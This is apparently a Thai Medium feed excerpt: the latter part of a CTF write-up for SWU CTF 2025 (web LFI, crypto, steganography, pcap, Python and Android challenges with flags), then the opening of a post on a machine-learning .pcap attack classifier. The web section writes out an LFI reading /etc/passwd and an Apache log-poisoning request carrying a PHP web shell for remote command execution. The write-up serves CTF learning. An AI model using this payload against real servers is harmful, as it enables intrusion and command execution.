/index.php?page=readme.txt ก็ไม่มีอะไร</p><p>แต่สังเกตตรง page=… อาจจะเกิดช่องโหว่ LFI (Local file inclusion) ได้</p><p>เลยลองใส่ /etc/passwd ดูปรากฏว่ามีช่องโหว่จริง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/473/1*LsEu2R_QatFL5HtQ3k5HqQ.png" /></figure><p>ลองไปหาวิธีการทำ RCE จาก LFI ก็จะเจอวิธีการ log poisoning</p><pre>GET /index.php?page=/var/log/apache2/access.log HTTP/1.1<br>Host: ctfswu-2025.com:54324<br>User-Agent: &lt;?php system($_GET[&#39;cmd&#39;]); ?&gt;<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate, br<br>Connection: keep-alive<br>Cookie: session=7c1d3fbf-592c-4bd9-95ba-3b1b5ce00618.-DNnAVmka4_o7Wyi9dhxwvgVgu0<br>Upgrade-Insecure-Requests: 1<br>Priority: u=0, i</pre><p>เราทำการทำให้ &lt;?php system($_GET[‘cmd’]); ?&gt; เข้าไปอยู่ใน log โดยการส่ง request โดยใช้มันเป็น User-Agent ด้วย Burp suite จากนั้นลอง access log แบบใส่ cmd parameter จะพบว่าเกิด RCE ขึ้น</p><p>ลอง /index.php?page=/var/log/apache2/access.log&amp;cmd=whoami</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*mB8nQsR_PZbiNUsADvWqwg.png" /></figure><p>พอนั่งแกะ path ดูด้วย ls -lR ก็จะเจอ flag base64 encoded อยู่ที่</p><p>index.php?page=/var/log/apache2/access.log&amp;cmd=cat secrets.bak/flag.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*IU_Gewsi38qRKJIsQETsaQ.png" /></figure><p>เอามา base64 decode 4 รอบก็จะได้ flag</p><pre>┌──(mc4minta㉿vbox)-[~/swu/writeup]<br>└─$ echo &quot;V1hwT2EwMVhWalpYV0dSaFZqQXdNVlJXWkZaT1JURlZXWHBTVGxaR1JYaFhWRXBUWWtad2NWa3paRTVXUmtwd1YydFNSMkZWTlVWVWJURk9Wa1ZWTVZwc1JUbFFVVDA5&quot; | base64 -d | base64 -d | base64 -d | base64 -d<br>swu{60ec91e8178145cdef7014bd1b43f119} </pre><p>we got the flag: swu{60ec91e8178145cdef7014bd1b43f119}</p><h3>Planet of the Apes [CRYPT1]</h3><p>ข้อโจทย์ให้ base64 มาก็เอาไป decodeได้เลย จากนั้นนำไป ceasar shift</p><pre>Z2tpe1VVX1NPR01fUUhUXzIwMjV9 &gt; base64 decode &gt; gki{UU_SOGM_QHT_2025} <br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/334/1*j8oS6SM1bgAul3Pt5IuAAw.png" /></figure><p>we got the flag: swu{GG_EASY_CTF_2025}</p><h3>Pixelated hash [CRYPT2]</h3><p>ข้อนี้โจทย์ให้ secret.zip ที่ติด password และ Cute.jpg มา ลอง exiftool จะเจอ base64 พอถอดรหัสจะได้เห็น md5hash ให้เอาไป crack จะได้ password ไฟล์ zip เป็น Welcome เมื่อแตกไฟล์ zip ก็จะได้</p><pre>┌──(mc4minta㉿vbox)-[~/swu/writeup]<br>└─$ exiftool Cute.jpg | grep Comment <br>Comment                         : ODMyMThhYzM0YzE4MzRjMjY3ODFmZTRiZGU5MThlZTQ=</pre><pre>ODMyMThhYzM0YzE4MzRjMjY3ODFmZTRiZGU5MThlZTQ= &gt; base64 &gt; 83218ac34c1834c26781fe4bde918ee4</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GSjiM1ksrQmIW6nd9zmNlA.png" /></figure><pre>┌──(mc4minta㉿vbox)-[~/swu/writeup]<br>└─$ unzip secret.zip          <br>Archive:  secret.zip<br>[secret.zip] flag.txt password: <br> extracting: flag.txt                <br>                                                                                                        <br>┌──(mc4minta㉿vbox)-[~/swu/writeup]<br>└─$ cat flag.txt  <br>swu{f0e27358009a6668f507e69f87930ac7}</pre><p>we got the flag: swu{f0e27358009a6668f507e69f87930ac7}</p><h3>Game of Colors [MISC1]</h3><p>ข้อนี้โจทย์ให้ file .pdf มา พอเปิดดูก็จะพบ flag ซ่อนอยู่โดยเป็น white text</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/291/1*38XlpWjwRLbaq4Cw8vnroQ.png" /></figure><p>we got the flag: swu{Don’t_Angry_Just_TakeItEasy}</p><h3>u-i-i-io-i-ii-a-io [MISC2]</h3><p>ข้อนี้เป็นข้อ 100 ข้อเดียวที่ทำตอนแข่งไม่ได้หายังไงก็หาไม่เจอจนสุดท้ายมีคนมาใบ้ให้ว่าให้ใช้ sonic visualizer หลังจบงานแข่ง ก็เจอเป็น spectrogram text น้อยๆ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HQ2rTwr7OHQKxpJUBlggfA.png" /></figure><p>we got the flag: swu{5a89eb46246eb29f3d494c3f05b4db21}</p><h3>Trust Your Eyes [MISC3]</h3><p>ข้อนี้โจทย์ให้ ไฟล์เสียงมาเราก็เอาไปำ spectrogram ด้วย audacity ก็จะเจอ QRCode แต่สแกนยังไงก็สแกนไม่ติด จนกระทั่งยก ipad ขึ้นมาสแกน ติดเฉย งง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*wdZqYuIufn8sP095B4Q7DA.png" /></figure><p>we got the flag:</p><h3>Wireshark 101 [NETWORK1]</h3><p>Open pcap in wireshark &gt; follow http stream</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*lP8J1ryxxKEXPmwp7i1tgA.png" /></figure><p>we got the flag: swu{Th1s_1s_N00b_br0}</p><h3>Wireshark 201 [NETWORK2]</h3><p>open pcap in wireshark &gt; export objects &gt; http &gt; save all</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*Bw-5RSF4-wD3g3Q56ZYzHg.png" /></figure><p>cat all flag.txt</p><pre>──(mc4minta㉿vbox)-[~/swu/writeup/easy_data]<br>└─$ cat *.txt    <br>&lt;head&gt;<br>&lt;title&gt;Error response&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>&lt;h1&gt;Error response&lt;/h1&gt;<br>&lt;p&gt;Error code 404.<br>&lt;p&gt;Message: File not found.<br>&lt;p&gt;Error code explanation: 404 = Nothing matches the given URI.<br>&lt;/body&gt;<br>swu{9<br>2ae98<br>0b515<br>b255a<br>127672933220ed66}<br>&lt;head&gt;<br>&lt;title&gt;Error response&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>&lt;h1&gt;Error response&lt;/h1&gt;<br>&lt;p&gt;Error code 404.<br>&lt;p&gt;Message: File not found.<br>&lt;p&gt;Error code explanation: 404 = Nothing matches the given URI.<br>&lt;/body&gt;<br>&lt;head&gt;<br>&lt;title&gt;Error response&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>&lt;h1&gt;Error response&lt;/h1&gt;<br>&lt;p&gt;Error code 404.<br>&lt;p&gt;Message: File not found.<br>&lt;p&gt;Error code explanation: 404 = Nothing matches the given URI.<br>&lt;/body&gt;</pre><p>we got the flag: swu{92ae980b515b255a127672933220ed66}</p><h3>อดทนจนกว่าจะได้ flag [NETWORK3]</h3><p>open pcap in wireshark &gt; export objects &gt; http &gt; save all</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/1*QPsPDmRZ2QZTTrWFCNtxvQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FlHcccczk096xgmoxAG56Q.png" /><figcaption>c3d1ezAyM2FjMjhmZjA4YzY4ZTU3Mjg2MWNhN2IzYmViYmYwfQ==</figcaption></figure><p>extract text and base64 decode &gt; swu{023ac28ff08c68e572861ca7b3bebbf0}</p><h3>Make Your Own Luck [ZPECIAL1]</h3><pre>import random<br><br>def reveal():<br>    cry = [88, 75, 68, 78, 26, 71, 68, 79, 89, 89, 73, 26, 68, 94, 88, 26, 70]<br>    random.seed()<br>    key = random.randint(1, 1000000)<br>    if key == 42:<br>        flag = &#39;&#39;.join(chr(c ^ (key % 256)) for c in cry)<br>        print(f&quot;Your flag is: swu{{{flag}}}&quot;)<br>    else:<br>        print(&quot;No flag for you, try again!&quot;)<br><br>reveal()</pre><p>ข้อนี้โจทย์ให้ไฟล์ python มาซึ่งจะ contruct flag ต่อเมื่อ key=42 แต่เราจะ random ทำไมในเมื่อ flag ก็อยู่ตรงนั้น งั้นเขียน patch function มันเลยละกัน หรือจริงๆ จะ bruteforce key มาใส่ก็ได้นะ 55555</p><pre>import random<br><br># เอาแต่ละ index ใน array cry มา xor ด้วย key42 แล้วก็เอามาต่อกันได้ flag<br><br>def reveal_patch():<br> cry = [88, 75, 68, 78, 26, 71, 68, 79, 89, 89, 73, 26, 68, 94, 88, 26, 70]<br> flag = &#39;&#39;.join(chr(c ^ (42 % 256)) for c in cry)<br> print(f&quot;Your flag is: swu{{{flag}}}&quot;)<br><br>reveal_patch()</pre><pre>┌──(mc4minta㉿vbox)-[~/swu/writeup]<br>└─$ python Make_Your_Own_Luck.py<br>Your flag is: swu{rand0mnessc0ntr0l}</pre><p>we got the flag: swu{rand0mnessc0ntr0l}</p><h3>Who will win the Premier League? [ZPECIAL2]</h3><p>ข้อนี้โจทย์ให้ไฟล์ python มาสองอันคือ crypto.py และ main.py</p><pre># crypto.py<br><br>def xor_encrypt_decrypt(data, key):<br>    return &quot;&quot;.join(chr(ord(c) ^ ord(key[i % len(key)])) for i, c in enumerate(data))<br><br>def get_encrypted_flag():<br>    key = &quot;YNWA&quot;<br><br>    secret_flag = &quot;6338313233326466633163336163623461333262326663396436333764616361&quot;<br><br>    encrypted = xor_encrypt_decrypt(secret_flag, key)<br><br>    encrypted_flag = base64.b64encode(encrypted.encode()).decode()<br><br>    return encrypted_flag<br><br>def fix_base64_padding(data):<br>    missing_padding = len(data) % 4<br>    if missing_padding:<br>        data += &quot;=&quot; * (4 - missing_padding)<br>    return data<br><br>def is_valid_data(s):<br>    try:<br>        bytes.fromhex(s)<br>        return True<br>    except ValueError:<br>        return False</pre><pre># main.py<br>import base64<br><br>def premier_bot():<br>    answer = input(&quot;Who will win the Premier League?: &quot;).strip().lower()<br><br>    if answer == &quot;liverpool&quot;:<br>        key = &quot;YNWA&quot;<br><br>        encrypted_flag = None<br><br>        decoded = base64.b64decode(encrypted_flag).decode().strip()<br><br>        processed_data = None<br><br>        if False:<br>            flag = bytes.fromhex(processed_data).decode()<br>            print(f&quot;Correct! Here is your flag: swu{{{flag}}}&quot;)<br>        else:<br>            raise ValueError(&quot;Decoded data is invalid!&quot;)<br><br>    else:<br>        print(f&quot;Incorrect! {answer} Oh wow, so close! But try thinking about the team that truly deserves to be the champion again! Xdd&quot;)<br><br>premier_bot()</pre><p>หลังจากที่อ่านโลจิคของ main.py ดูก็จะเห็นว่า flag คือการนำ encrypted_flag มาทำการ base64 decode จากนั้นทำไป decode from hex ก็จะได้ flag</p><p>ซึ่งถ้าเราดูดีๆ เจ้า excrypted flag นี่มันก็คือ secret flag ใน crypto.py นำไป xor ด้วย key YNWA ก็คือเป็นเหมือนโปรแกรมกลับไปกลับมา</p><p>ดังนั้นจริงๆ เราสามารถลัดหา flag ได้โดยการเอา secret_flag มา from hex ได้เลย</p><pre>6338313233326466633163336163623461333262326663396436333764616361<br>from hex<br>c81232dfc1c3acb4a32b2fc9d637daca<br>เอาไปใส่ swu{}</pre><p>we got the flag: swu{c81232dfc1c3acb4a32b2fc9d637daca}</p><h3>Manifest0 [MOBILE1]</h3><p>decompile ด้วย jadx-gui จากนั้นดูที่ AndriodManifest.xml จะเจอ flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*8ecSZ-QDZCqqMTQjPfqszA.png" /></figure><pre>c3d1e2IzZ2luXzIzX3JlYWR5MmcwfQ== &gt; base64 &gt; swu{b3gin_23_ready2g0}</pre><p>we got the flag: swu{b3gin_23_ready2g0}</p><h3>Unintended Secrets [MOBILE2]</h3><p>เหมือนเดิมคือ decompile ด้วย jadx-gui จะเจอ flag เยอะมากๆ ใน res/raw</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/1*6LmLi9LfhnIRuFsDES6p3g.png" /></figure><p>export ออกมาจะได้ดูง่ายๆ พอใช้คำสั่ง ls -l ดูจะเห็นว่ามีไฟล์เดียวที่ไม่ว่างเปล่า</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/545/1*peRuBG5mZMGOEMzjikhdBA.png" /></figure><pre>┌──(mc4minta㉿vbox)-[~/swu/writeup/findme_data/raw]<br>└─$ cat flag50.txt          <br>7377757b34643238333439636361666636393433396137363961623832643464643835617d </pre><pre>7377757b34643238333439636361666636393433396137363961623832643464643835617d<br>fromhex<br>swu{4d28349ccaff69439a769ab82d4dd85a}</pre><p>we got the flag: swu{4d28349ccaff69439a769ab82d4dd85a}</p><h3>InsecureStorage [MOBILE3]</h3><p>ข้อนี้โจทย์บอกว่าเมื่อ login ได้จะมี data เก็บไว้ในเครื่อง</p><p>ลอง decompile ด้วย jadx-gui มาดู MainActivity จะเห็นว่า flag จะถูกเก็บไว้ที่ shared preferences</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*IdEt4MxZDH0r6P1XAJucrQ.png" /></figure><p>แล้วก็เห็นว่ามี storeDecodedFlag ซัมติง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*JiaLsZlXnNj9_W7v7_GNWQ.png" /></figure><p>ข้อนี้บอกตรงๆ ไปไม่เห็นเลย เลยคิดว่าจะลองเอาแอพมาลงแล้วก็ดูไฟล์เครื่องเอา</p><p>รัน Android Device Emulator ด้วย Android Studio แล้วใช้ adb shell ในการดูไฟล์ในเครื่องโดยคำสั่งที่เราใช้ก็มีประมาณนี้</p><pre># connect devices<br>PS C:\Users\admin\AppData\Local\Android\Sdk\platform-tools&gt; ./adb.exe shell<br>* daemon not running; starting now at tcp:5037<br>* daemon started successfully<br>adb.exe: device offline<br>PS C:\Users\admin\AppData\Local\Android\Sdk\platform-tools&gt; ./adb.exe devices<br>List of devices attached<br>emulator-5554   device<br><br>PS C:\Users\admin\AppData\Local\Android\Sdk\platform-tools&gt; ./adb.exe shell<br>emu64xa:/ $</pre><p>run ./adb.exe install example.apk ถ้ายังไม่ได้ลงแอพ แต่ตอนเขียน writeup เราลงไปแล้วเลยไม่ได้เอา command มาโชว์ในนี้</p><pre>emu64xa:/ $ cmd package list packages | grep swu<br>package:com.example.swuctf2<br>emu64xa:/ $ run-as com.example.swuctf2<br>emu64xa:/data/user/0/com.example.swuctf2 $</pre><p>จากนั้นก็ login ในแอพด้วย user password อะไรก็ได้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*DrsBFCSRrRkvq3M8agqNPg.png" /></figure><p>แล้วก็ดูใน folder shared_prefs ก็จะพบ flag ใน my_prefs.xml</p><pre>emu64xa:/data/user/0/com.example.swuctf2 $ ls<br>cache  code_cache  files  shared_prefs<br>emu64xa:/data/user/0/com.example.swuctf2 $ cd shared_prefs/<br>emu64xa:/data/user/0/com.example.swuctf2/shared_prefs $ ls<br>my_prefs.xml<br>at my_prefs.xml                                                                         &lt;<br>&lt;?xml version=&#39;1.0&#39; encoding=&#39;utf-8&#39; standalone=&#39;yes&#39; ?&gt;<br>&lt;map&gt;<br>    &lt;string name=&quot;password&quot;&gt;password&lt;/string&gt;<br>    &lt;string name=&quot;hidden_flag&quot;&gt;8Y1NqlFnturKzYLnLUGOt1gr4hc9jNQbnlf6Zivhbz98izwyhZ&lt;/string&gt;<br>    &lt;string name=&quot;username&quot;&gt;admin&lt;/string&gt;<br>&lt;/map&gt;</pre><p>จากนั้นนำไป base62 decode จะได้ flag</p><p>นอกจากวิธีนี้แล้วยังมีอีกวิธีที่เราทำได้คือเอา libmodule.so ไปทำการ decompile ดูข้างใน เราจะเจอกับ function decode flag แล้วจะเจอ flag อยู่ใน memory เลย</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/313/1*wpIGnYu0ByITD4fkOO6MsQ.png" /></figure><p>export libmodule.so ออกมา decompile ด้วย ida ดูที่ decode_flag()</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/535/1*eH436aL9PES-URRm3XMLfA.png" /></figure><p>คลิ๊กไปดู byte_13240 จะเจอ flag ให้เอาไปทำ base62 เหมือนเดิม</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*HZaLF0A_W8IA8pw45Gf2hg.png" /></figure><p>we got the flag : swu{ae409c3bc34947ee486bee3216c2ecaf}</p><h3>Log It In! [MOBILE4]</h3><p>ข้อนี้จะเจอคล้ายๆ ข้อที่แล้วแต่จะมีการต้อง crack password เพิ่มนิดหน่อย พอลองอ่าน Main Activity ก็จะได้ว่าข้อนี้ md5 password จะต้องตรงกับ ตัวที่กำหนด</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*CdBdAyfYljC-MvRxDhvYrg.png" /></figure><p>ตัว hash ก็คือ ค่าของ a1b2c3d4e5f6 ซึ่งได้จากการแปลง decimal &gt; hex</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/422/1*gckGAqalh3Fi-2XcqaqVGA.png" /><figcaption>807FF71B3301262E222AD05E5B7C4325</figcaption></figure><p>พอได้ hash แล้วให้เอาไป crack จะได้ password = ChangeMe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BIfBqWZAnfs7Pljvqim_qA.png" /></figure><p>จะสังเกตว่าเมื่อ Log in ผ่าน โปรแกรมจะ getchats(); คือก็คือนำ string บางอย่างมาเก็บไว้ในตัวแปร z9 จากนั้นก็ Log คำว่า Login Success + z9</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*dDXdhwTL_nrbY-R0QIH6Gg.png" /></figure><p>รันคำสั่งคล้ายๆ ข้อที่แล้ว login ด้วย username = admin, password = ChangeMeแล้วดู log จะเจอ flag</p><pre>emu64xa:/data/user/0/com.example.swuctf4v2 $ logcat | grep CTF</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rnKtSWHaZqSbmf4rxKNJZQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BOvOnQ8MCR5rUDCRTMX72A.png" /></figure><pre>Login Success!: c3d1e2ZkMmNmM2I3NDE1MTQyMTg3Yjc4YjYxYmYxY2QwNjVifQ==</pre><p>เอามาถอด base64 ก็จะเจอ flag</p><pre>┌──(mc4minta㉿vbox)-[~]<br>└─$ echo &quot;c3d1e2ZkMmNmM2I3NDE1MTQyMTg3Yjc4YjYxYmYxY2QwNjVifQ==&quot; | base64 -d<br>swu{fd2cf3b7415142187b78b61bf1cd065b}</pre><p>we got the flag: swu{fd2cf3b7415142187b78b61bf1cd065b}</p><p>ไว้มีเวลาก็อยากจะมาเพิ่มให้ครบทุกข้อ แต่ตอนนี้คงแค่นี้ก่อนเนื่องจากงานอื่นก็มีให้ทำต้องก่อนก่อนละ🥶 ขอบคุณผู้จัดมากค่ะ โจทย์ฟินดีสุดๆ ไม่เคยทำ .ova และ adb shell ในงานแข่งประมาณนี้มาก่อนเลย</p><p><a href="https://github.com/Mc4minta/">Mc4minta - Overview</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bb593867fd3d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[AIB2025 — Malicous .pcap file classifier]]></title>
            <link>https://medium.com/@mc4minta/aib2025-malicous-pcap-file-classifier-8014e98f8d02?source=rss-562565b0d666------2</link>
            <guid isPermaLink="false">https://medium.com/p/8014e98f8d02</guid>
            <category><![CDATA[aib2025]]></category>
            <dc:creator><![CDATA[Mc4minta]]></dc:creator>
            <pubDate>Tue, 10 Jun 2025 10:35:55 GMT</pubDate>
            <atom:updated>2025-06-11T07:46:24.344Z</atom:updated>
            <content:encoded><![CDATA[<h3>AIB2025 — Malicous .pcap file classifier</h3><p>“A project carried by the urge for coolness” — <strong>MiN Vibrant Peacock</strong> 🦚</p><p>สวัสดีทุกคนเรามินเอง วันนี้เราจะมาเล่าถึงโปรเจคของเราจากโครงการ <a href="https://ai-builders.github.io/">AI Builders</a> ปี 2025 ซึ่งใช้เวลาทำประมาณ 2 เดือนและทำให้เราได้เรียนรู้ Process ของการทำโปรเจค Machine learning อย่างแท้จริงตั้งแต่ต้นยันจบเลย</p><p><a href="https://github.com/Mc4minta/AIB5-PcapAttackClassifier/">GitHub - Mc4minta/AIB5-PcapAttackClassifier</a></p><h3>0. Introduction</h3><p>ต้องเกริ่นก่อนว่าเราเป็นเด็กคนนึงที่ชอบเล่น CTF หรือการแข่งขัน Capture the flag เอามากๆ ถึงจะพึ่งเริ่มรู้จักมันได้ไม่นานมันก็เป็นการแข่งขันที่สนุกมากๆ จนเราติดงอมแงม ใน Medium เราก็มาเขียนเฉลยโจทย์ที่ไปทำมาบ้างเป็นครั้งคราวเหมือนกัน</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*p3aa-f-ORPmyqUDOEaubog.png" /></figure><p>สำหรับใครที่ไม่รู้ว่า CTF คืออะไรเราคงขอยกคำใน <a href="https://www.tnetitsolution.co.th/capture-the-flag/">Website T-NET IT Security Expert</a> มาแล้วกันนะ</p><blockquote><strong>CTF</strong> นั้นย่อมาจาก <strong>Capture The Flag</strong> คือ การแข่งหาธง (Flag) ที่ซ่อนอยู่ในโจทย์ต่าง ๆ มาให้ได้ ดังนั้น ผู้เข้าแข่งขันต้องดำเนินการหาธงที่ซ่อนอยู่ออกมาจากไฟล์ โปรแกรม หรือชุดข้อมูล ด้วยวิธีการต่าง ๆ เช่น Crack Password, Reverse engineering, Web Application Hacking หรืออะไรก็ตามแล้วส่งให้กรรมการตรวจสอบความถูกต้อง</blockquote><p>ตอนเราเริ่มเล่นแรกๆ เราก็จะเจอกับไฟล์ที่มีนามสกุล .pcap อยู่บ่อยๆ ซึ่งพอเปิดเข้าไปแล้วก็จะเจอ…แบบนี้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u3o2sluu1TzmSIv_PCia5g.png" /></figure><p>ซึ่งเราในตอนนั้นก็ไม่เข้าใจว่าไฟล์ที่เปิดมาหน้าตาแปลกๆ นี้คืออะไร หลังจากนั้นก็ได้พบว่าไฟล์นี้คือไฟล์ Network Capture ซึ่งจะเก็บ Traffic ของ Network เอาไว้</p><p>ซึ่งการวิเคราะห์ไฟล์พวกนี้จะสามารถบอกเราได้เบื้องต้นว่ามีการโจมตีหรือไม่และแบบใด ซึ่งการวิเคราะห์ไฟล์พวกนี้อาจต้องใช้เวลามากหากไฟล์มีขนาดใหญ่ และต้องใช้เวลาในการเรียนรู้การใช้เครื่องมือ</p><p>เราเลยคิดว่ามันคงเท่ดีถ้ามันมี AI ที่เราสามารถโยนไฟล์ .pcap เข้าไปแล้วมันก็จะบอกเราได้ว่าในไฟล์ .pcap ไฟล์นี้มีการโจมตีอะไรบ้าง เรียกได้ว่าความรู้สึกคูลในการมีเครื่องมือไว้ใช้เองเป็นแรงผลักดันหลักของโปรเจคนี้เลยก็ว่าได้😎</p><h3>1. Process overview</h3><p>ก่อนที่จะเริ่มทำเราก็ลองมาคิดดูว่าเราจะทำให้โมเดลสามารถเข้าใจไฟล์ .pcap ได้ยังไงเพราะทุกๆ packet ในไฟล์จะมีรายละเอียดมากมายซึ่งส่วนใหญ่เป็นข้อมูลเชิงคุณภาพที่แตกต่างกันเยอะมากถ้า extract ออกมาตรงๆ จะเป็นการยากที่จะทำให้ข้อมูลที่ใช้ train ครอบคลุมการใช้งาน</p><p>เราก็เลยคิดที่จะแปลงไฟล์ .pcap ให้กลายเป็นสิ่งที่เรียกว่า Bi-directional flow ซึ่งเป็นการรวมกลุ่มของแพ็กเก็ตที่มีความสัมพันธ์กันจาก 2 ปลายทาง (Client/Server) แทนที่จะใช้ packet จากไฟล์ .pcap ที่บันทึกข้อมูลดิบของแต่ละ packet โดยตรง</p><p>โดยตัวแปลงที่เรานำมาใช้ในโปรเจคนี้คือ CICFlowmeter V.3 ที่ถูกพัฒนาโดย Canadian Institute for Cybersecurity เพื่อนำมาสร้าง Dataset Intrusion Detection เพื่อการตรวจจับการโจมตีในระบบเครือข่าย</p><ul><li><a href="https://www.unb.ca/cic/research/applications.html">Applications</a></li><li><a href="https://github.com/ahlashkari/CICFlowMeter">GitHub - ahlashkari/CICFlowMeter: CICFlowmeter-V4.0 (formerly known as ISCXFlowMeter) is an Ethernet traffic Bi-flow generator and analyzer for anomaly detection that has been used in many Cybersecurity datsets such as Android Adware-General Malware dataset (CICAAGM2017), IPS/IDS dataset (CICIDS2017), Android Malware dataset (CICAndMal2017) and Distributed Denial of Service (CICDDoS2019).</a></li><li><a href="https://codeberg.org/iortega/TCPDUMP_and_CICFlowMeter/src/branch/master/CICFlowMeters/CICFlowMeter-3.0">Making sure you&#39;re not a bot!</a></li></ul><p>พอเราได้วิธีการแปลงไฟล์ .pcap เพื่อให้ได้ข้อมูลที่โมเดลเข้าใจได้แล้วเราก็จะได้ Flow คร่าวๆ ตามแผนภาพข้างล่างนี้เลย</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CfWMVoq0uT1zFiXWtWfKhA.png" /></figure><h3>2. Train set Data collection</h3><p>ในส่วนของ Dataset ที่เอามาใช้ในการเทรนโมเดล (Train set) เราจะใช้สอง Dataset มารวมกันคือ <a href="https://www.unb.ca/cic/datasets/ids-2017.html"><strong>CIC-IDS-2017</strong></a> และ <a href="https://www.unb.ca/cic/datasets/ids-2018.html"><strong>CSE-CIC-IDS2018</strong></a> แต่ก่อนอื่นเรามาลองดู Data กันว่ามันหน้าตาเป็นยังไง</p><h4>2.1 CIC-IDS-2017 Exploration</h4><p>ชุดข้อมูลอันนี้จะประกอบด้วย feature ที่ถูก extract ออกมาจากไฟล์ .pcap โดยใช้ CICFlowMeter v.3 อยู่แล้วและมีการ Label Attack ต่างๆ มาเรียบร้อย</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*vlfAMU3RC8aDxD8yNjvhQg.png" /><figcaption><a href="https://www.researchgate.net/profile/Ranjit-Panigrahi/publication/329045441/figure/tbl1/AS:708844267241473@1546013051414/Description-of-files-containing-CICIDS2017-dataset.png">https://www.researchgate.net/profile/Ranjit-Panigrahi/publication/329045441/figure/tbl1/AS:708844267241473@1546013051414/Description-of-files-containing-CICIDS2017-dataset.png</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*0X56bDXiJbAiUCN-AhYNVg.png" /><figcaption><a href="https://www.researchgate.net/publication/329758083/figure/tbl1/AS:705248024879106@1545155640395/Network-flow-features-of-the-CICIDS2017-dataset.png">https://www.researchgate.net/publication/329758083/figure/tbl1/AS:705248024879106@1545155640395/Network-flow-features-of-the-CICIDS2017-dataset.png</a></figcaption></figure><p>เริ่มแรกเราก็ลอง import มาดูใน google colab แต่ก็พบว่าเกิดปัญหา UnicodeDecodeError กับไฟล์อันนึงซึ่งเกิดกับไฟล์ที่มี Web Attack</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*xSgxmlIQ2upPpdbvOQh-Uw.png" /></figure><p>หลังจากโหลดไฟล์นั้นมาลองเปิดดูใน Excel ก็พบว่าตัว Label มี Character ที่ทำให้เกิดปัญหาอยู่</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/200/1*S3pQWCUIsJ0DpLIRmBjFog.png" /></figure><p>จะเห็นว่าคำว่า “Web Attack — XSS” มีตัว “ — “ อยู่ถ้าดูดีๆ จะเห็นว่าเป็น dash ยาวหรือ “en dash” ซึ่งต่างกับ “-” หรือ dash สั้นเรียกว่า“hyphen” ทำให้เกิด UnicodeDecodeError ขึ้นมา</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/446/1*DIS5-yp3f97h_PbrPY4ZiQ.png" /></figure><p>วิธีแก้ที่เราใช้ก็คือการใช้ Function Find and Replace ในโปรแกรม Excel ในการแทนที่ Dash ยาวทั้งหมดในไฟล์ด้วย Dash สั้นไฟล์ก็จะ Import ได้ตามปกติ</p><p>โดยในโปรเจคนี้เราจะเลือกมาแค่ Attack ที่ได้ใช้งานเท่านั้นโดยจะไม่จึงไม่ได้ Import ไฟล์ที่มี Attack “Infiltration” และ “Bot” มา และทำการ Drop Attack ที่ชื่อ “Heartbleed” ออกไป ด้วย</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sADBehiQyAueaV78B156rg.png" /><figcaption>df.head()</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/339/1*bEjXk8KXeco_kh2fR0M6Gw.png" /><figcaption>label value counts</figcaption></figure><h4>2.2 CSE-CIC-IDS2018 Exploration</h4><p>CIC2018 ก็จะเป็น format คล้ายกับ CIC2017 แต่จะมีการเปลี่ยนชื่อ feature ต่างๆ เช่น feature “Total Length of Fwd Packets” ก็จะกลายเป็น “TotLen Fwd Pkts” และมีประเภท Attack ดังนี้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/344/1*CEAZVvM809fSPTq_YrF9Bw.png" /><figcaption>label value counts</figcaption></figure><p>จะเห็นว่ามี Label ชื่อ Label ด้วยซึ่งแปลกมาก พอ print ออกมาดูก็เจอว่าเป็น row ที่ข้อมูลใช้ไม่ได้ เดี๋ยวต้องไปเอาออกในขั้นตอนการ clean ต่อไป</p><figure><img alt="" 